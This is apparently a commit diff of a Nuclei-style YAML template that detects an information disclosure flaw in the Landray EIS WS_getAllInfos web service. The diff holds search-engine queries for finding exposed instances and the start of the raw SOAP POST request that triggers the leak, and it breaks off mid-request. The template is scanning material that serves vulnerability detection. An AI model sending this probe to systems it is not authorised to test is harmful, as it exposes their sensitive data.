Update and rename landray-eis-ws-getallinfos-disclosure.yaml to landray-eis-ws-infoleak.yaml
parent
2ff9959113
commit
e3acf5bc9f
|
@ -1,23 +1,27 @@
|
|||
id: landray-eis-WSgetAllInfos-disclosure
|
||||
id: landray-eis-ws-infoleak
|
||||
|
||||
info:
|
||||
name: Landray EIS WS_getAllInfos Disclosure
|
||||
name: Landray EIS WS_getAllInfos - Information Disclosure
|
||||
author: Fur1na
|
||||
severity: high
|
||||
description: Landray EIS WS_getAllInfos interface suffers from a sensitive information disclosure vulnerability.
|
||||
description: |
|
||||
Landray EIS WS_getAllInfos interface suffers from a sensitive information disclosure vulnerability.
|
||||
reference:
|
||||
- https://mp.weixin.qq.com/s/CTLyriSSF-nQ8SUFv4RX0A
|
||||
- https://github.com/akyosk/pocman/blob/main/cve/Lanling/Lanling_Info.py
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
zoomeye-query: app:"蓝凌EIS智慧协同平台"
|
||||
tags: landray,disclosure
|
||||
fofa-query: app="Landray-EIS智慧协同平台"
|
||||
tags: landray,eis,info-leak
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /WS/Basic/Basic.asmx HTTP/1.1
|
||||
Content-Type: text/xml
|
||||
Host: {{Hostname}}
|
||||
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
|
||||
<soapenv:Header/>
|
Loading…
Reference in New Issue